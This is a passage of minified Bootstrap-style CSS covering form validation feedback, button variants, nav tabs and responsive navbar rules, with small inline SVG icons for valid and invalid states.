1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}select.form-control[multiple],select.form-control[size]{height:auto}textarea.form-control{height:auto}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:.25rem}.form-row{display:flex;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*=col-]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:.3rem;margin-left:-1.25rem}.form-check-input:disabled~.form-check-label,.form-check-input[disabled]~.form-check-label{color:#6c757d}.form-check-label{margin-bottom:0}.form-check-inline{display:inline-flex;align-items:center;padding-left:0;margin-right:.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#28a745}.valid-tooltip{position:absolute;top:100%;left:0;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(40,167,69,.9);border-radius:.25rem}.form-row>.col>.valid-tooltip,.form-row>[class*=col-]>.valid-tooltip{left:5px}.is-valid~.valid-feedback,.is-valid~.valid-tooltip,.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip{display:block}.form-control.is-valid,.was-validated .form-control:valid{border-color:#28a745;padding-right:calc(1.5em + .75rem)!important;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.was-validated select.form-control:valid,select.form-control.is-valid{padding-right:3rem!important;background-position:right 1.5rem center}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-valid,.was-validated .custom-select:valid{border-color:#28a745;padding-right:calc(.75em + 2.3125rem)!important;background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") right .75rem center/8px 10px no-repeat,#fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e") center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem) no-repeat}.custom-select.is-valid:focus,.was-validated .custom-select:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#28a745}.form-check-input.is-valid~.valid-feedback,.form-check-input.is-valid~.valid-tooltip,.was-validated .form-check-input:valid~.valid-feedback,.was-validated .form-check-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid~.custom-control-label,.was-validated .custom-control-input:valid~.custom-control-label{color:#28a745}.custom-control-input.is-valid~.custom-control-label::before,.was-validated .custom-control-input:valid~.custom-control-label::before{border-color:#28a745}.custom-control-input.is-valid:checked~.custom-control-label::before,.was-validated .custom-control-input:valid:checked~.custom-control-label::before{border-color:#34ce57;background-color:#34ce57}.custom-control-input.is-valid:focus~.custom-control-label::before,.was-validated .custom-control-input:valid:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.custom-control-input.is-valid:focus:not(:checked)~.custom-control-label::before,.was-validated .custom-control-input:valid:focus:not(:checked)~.custom-control-label::before{border-color:#28a745}.custom-file-input.is-valid~.custom-file-label,.was-validated .custom-file-input:valid~.custom-file-label{border-color:#28a745}.custom-file-input.is-valid:focus~.custom-file-label,.was-validated .custom-file-input:valid:focus~.custom-file-label{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;left:0;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(220,53,69,.9);border-radius:.25rem}.form-row>.col>.invalid-tooltip,.form-row>[class*=col-]>.invalid-tooltip{left:5px}.is-invalid~.invalid-feedback,.is-invalid~.invalid-tooltip,.was-validated :invalid~.invalid-feedback,.was-validated :invalid~.invalid-tooltip{display:block}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#dc3545;padding-right:calc(1.5em + .75rem)!important;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='none' stroke='%23dc3545' viewBox='0 0 12 12'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.was-validated select.form-control:invalid,select.form-control.is-invalid{padding-right:3rem!important;background-position:right 1.5rem center}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-invalid,.was-validated .custom-select:invalid{border-color:#dc3545;padding-right:calc(.75em + 2.3125rem)!important;background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") right .75rem center/8px 10px no-repeat,#fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='none' stroke='%23dc3545' viewBox='0 0 12 12'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e") center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem) no-repeat}.custom-select.is-invalid:focus,.was-validated .custom-select:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-input.is-invalid~.invalid-feedback,.form-check-input.is-invalid~.invalid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated .form-check-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-input:invalid~.custom-control-label{color:#dc3545}.custom-control-input.is-invalid~.custom-control-label::before,.was-validated .custom-control-input:invalid~.custom-control-label::before{border-color:#dc3545}.custom-control-input.is-invalid:checked~.custom-control-label::before,.was-validated .custom-control-input:invalid:checked~.custom-control-label::before{border-color:#e4606d;background-color:#e4606d}.custom-control-input.is-invalid:focus~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.custom-control-input.is-invalid:focus:not(:checked)~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus:not(:checked)~.custom-control-label::before{border-color:#dc3545}.custom-file-input.is-invalid~.custom-file-label,.was-validated .custom-file-input:invalid~.custom-file-label{border-color:#dc3545}.custom-file-input.is-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-inline{display:flex;flex-flow:row wrap;align-items:center}.form-inline .form-check{width:100%}@media (min-width:576px){.form-inline label{display:flex;align-items:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:flex;flex:0 0 auto;flex-flow:row wrap;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .custom-select,.form-inline .input-group{width:auto}.form-inline .form-check{display:flex;align-items:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;flex-shrink:0;margin-top:0;margin-right:.25rem;margin-left:0}.form-inline .custom-control{align-items:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;color:#212529;text-align:center;vertical-align:middle;user-select:none;background-color:transparent;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;line-height:1.5;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:#212529;text-decoration:none}.btn.focus,.btn:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.btn.disabled,.btn:disabled{opacity:.65}.btn:not(:disabled):not(.disabled){cursor:pointer}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:hover{color:#fff;background-color:#0069d9;border-color:#0062cc}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#0069d9;border-color:#0062cc;box-shadow:0 0 0 .2rem rgba(38,143,255,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#0062cc;border-color:#005cbf}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,.5)}.btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:hover{color:#fff;background-color:#5a6268;border-color:#545b62}.btn-secondary.focus,.btn-secondary:focus{color:#fff;background-color:#5a6268;border-color:#545b62;box-shadow:0 0 0 .2rem rgba(130,138,145,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#545b62;border-color:#4e555b}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(130,138,145,.5)}.btn-success{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:hover{color:#fff;background-color:#218838;border-color:#1e7e34}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#218838;border-color:#1e7e34;box-shadow:0 0 0 .2rem rgba(72,180,97,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1e7e34;border-color:#1c7430}.btn-success:not(:disabled):not(.disabled).active:focus,.btn-success:not(:disabled):not(.disabled):active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(72,180,97,.5)}.btn-info{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:hover{color:#fff;background-color:#138496;border-color:#117a8b}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#138496;border-color:#117a8b;box-shadow:0 0 0 .2rem rgba(58,176,195,.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:not(:disabled):not(.disabled).active,.btn-info:not(:disabled):not(.disabled):active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#117a8b;border-color:#10707f}.btn-info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(58,176,195,.5)}.btn-warning{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#212529;background-color:#e0a800;border-color:#d39e00}.btn-warning.focus,.btn-warning:focus{color:#212529;background-color:#e0a800;border-color:#d39e00;box-shadow:0 0 0 .2rem rgba(222,170,12,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active,.show>.btn-warning.dropdown-toggle{color:#212529;background-color:#d39e00;border-color:#c69500}.btn-warning:not(:disabled):not(.disabled).active:focus,.btn-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(222,170,12,.5)}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#c82333;border-color:#bd2130}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#c82333;border-color:#bd2130;box-shadow:0 0 0 .2rem rgba(225,83,97,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#bd2130;border-color:#b21f2d}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(225,83,97,.5)}.btn-light{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#212529;background-color:#e2e6ea;border-color:#dae0e5}.btn-light.focus,.btn-light:focus{color:#212529;background-color:#e2e6ea;border-color:#dae0e5;box-shadow:0 0 0 .2rem rgba(216,217,219,.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.disabled).active,.btn-light:not(:disabled):not(.disabled):active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#dae0e5;border-color:#d3d9df}.btn-light:not(:disabled):not(.disabled).active:focus,.btn-light:not(:disabled):not(.disabled):active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(216,217,219,.5)}.btn-dark{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:hover{color:#fff;background-color:#23272b;border-color:#1d2124}.btn-dark.focus,.btn-dark:focus{color:#fff;background-color:#23272b;border-color:#1d2124;box-shadow:0 0 0 .2rem rgba(82,88,93,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:not(:disabled):not(.disabled).active,.btn-dark:not(:disabled):not(.disabled):active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1d2124;border-color:#171a1d}.btn-dark:not(:disabled):not(.disabled).active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(82,88,93,.5)}.btn-outline-primary{color:#007bff;border-color:#007bff}.btn-outline-primary:hover{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#007bff;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled).active,.btn-outline-primary:not(:disabled):not(.disabled):active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-secondary{color:#6c757d;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary.focus,.btn-outline-secondary:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-success{color:#28a745;border-color:#28a745}.btn-outline-success:hover{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success.focus,.btn-outline-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#28a745;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled).active,.btn-outline-success:not(:disabled):not(.disabled):active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success:not(:disabled):not(.disabled).active:focus,.btn-outline-success:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-info{color:#17a2b8;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info.focus,.btn-outline-info:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:not(:disabled):not(.disabled).active:focus,.btn-outline-info:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-warning{color:#ffc107;border-color:#ffc107}.btn-outline-warning:hover{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning.focus,.btn-outline-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled).active,.btn-outline-warning:not(:disabled):not(.disabled):active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-danger{color:#dc3545;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled).active,.btn-outline-danger:not(:disabled):not(.disabled):active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-light{color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:hover{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light.focus,.btn-outline-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-dark{color:#343a40;border-color:#343a40}.btn-outline-dark:hover{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark.focus,.btn-outline-dark:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#343a40;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled).active,.btn-outline-dark:not(:disabled):not(.disabled):active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-link{font-weight:400;color:#007bff;text-decoration:none}.btn-link:hover{color:#0056b3;text-decoration:underline}.btn-link.focus,.btn-link:focus{text-decoration:underline}.btn-link.disabled,.btn-link:disabled{color:#6c757d;pointer-events:none}.btn-lg{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5rem}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:.5rem 1rem}.nav-link:focus,.nav-link:hover{text-decoration:none}.nav-link.disabled{color:#6c757d;pointer-events:none;cursor:default}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-link{margin-bottom:-1px;background-color:transparent;border:1px solid transparent;border-top-left-radius:.25rem;border-top-right-radius:.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{isolation:isolate;border-color:#e9ecef #e9ecef #dee2e6}.nav-tabs .nav-link.disabled{color:#6c757d;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{background:0 0;border:0;border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#007bff}.nav-fill .nav-item,.nav-fill>.nav-link{flex:1 1 auto;text-align:center}.nav-justified .nav-item,.nav-justified>.nav-link{flex-basis:0;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between;padding:.5rem 1rem}.navbar .container,.navbar .container-fluid,.navbar .container-lg,.navbar .container-md,.navbar .container-sm,.navbar .container-xl{display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:.3125rem;padding-bottom:.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:flex;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:.5rem;padding-bottom:.5rem}.navbar-collapse{flex-basis:100%;flex-grow:1;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem}.navbar-toggler:focus,.navbar-toggler:hover{text-decoration:none}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:50%/100% 100% no-repeat}.navbar-nav-scroll{max-height:75vh;overflow-y:auto}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid,.navbar-expand-sm>.container-lg,.navbar-expand-sm>.container-md,.navbar-expand-sm>.container-sm,.navbar-expand-sm>.container-xl{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-sm .navbar-nav{flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid,.navbar-expand-sm>.container-lg,.navbar-expand-sm>.container-md,.navbar-expand-sm>.container-sm,.navbar-expand-sm>.container-xl{flex-wrap:nowrap}.navbar-expand-sm .navbar-nav-scroll{overflow:visible}.navbar-expand-sm .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (max-width:767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid,.navbar-expand-md>.container-lg,.navbar-expand-md>.container-md,.navbar-expand-md>.container-sm,.navbar-expand-md>.container-xl{padding-right:0;padding-left:0}}@media (min-width:768px){.navbar-expand-md{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-md .navbar-nav{flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid,.navbar-expand-md>.container-lg,.navbar-expand-md>.container-md,.navbar-expand-md>.container-sm,.navbar-expand-md>.container-xl{flex-wrap:nowrap}.navbar-expand-md .navbar-nav-scroll{overflow:visible}.navbar-expand-md .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (max-width:991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid,.navbar-expand-lg>.container-lg,.navbar-expand-lg>.container-md,.navbar-expand-lg>.container-sm,.navbar-expand-lg>.container-xl{padding-right:0;padding-left:0}}@media (min-width:992px){.navbar-expand-lg{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-lg .navbar-nav{flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid,.navbar-expand-lg>.container-lg,.navbar-expand-lg>.container-md,.navbar-expand-lg>.container-sm,.navbar-expand-lg>.container-xl{flex-wrap:nowrap}.navbar-expand-lg .navbar-nav-scroll{overflow:visible}.navbar-expand-lg .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (max-width:1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid,.navbar-expand-xl>.container-lg,.navbar-expand-xl>.container-md,.navbar-expand-xl>.container-sm,.navbar-expand-xl>.container-xl{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-xl{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-xl .navbar-nav{flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid,.navbar-expand-xl>.container-lg,.navbar-expand-xl>.container-md,.navbar-expand-xl>.container-sm,.navbar-expand-xl>.container-xl{flex-wrap:nowrap}.navbar-expand-xl .navbar-nav-scroll{overflow:visible}.navbar-expand-xl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}.navbar-expand{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid,.navbar-expand>.container-lg,.navbar-expand>.container-md,.navbar-expand>.container-sm,.navbar-expand>.container-xl{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid,.navbar-expand>.container-lg,.navbar-expand>.container-md,.navbar-expand>.container-sm,.navbar-expand>.container-xl{flex-wrap:nowrap}.navbar-expand .navbar-nav-scroll{overflow:visible}.navbar-expand .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand{color:rgba(0,0,0,.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.5)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav 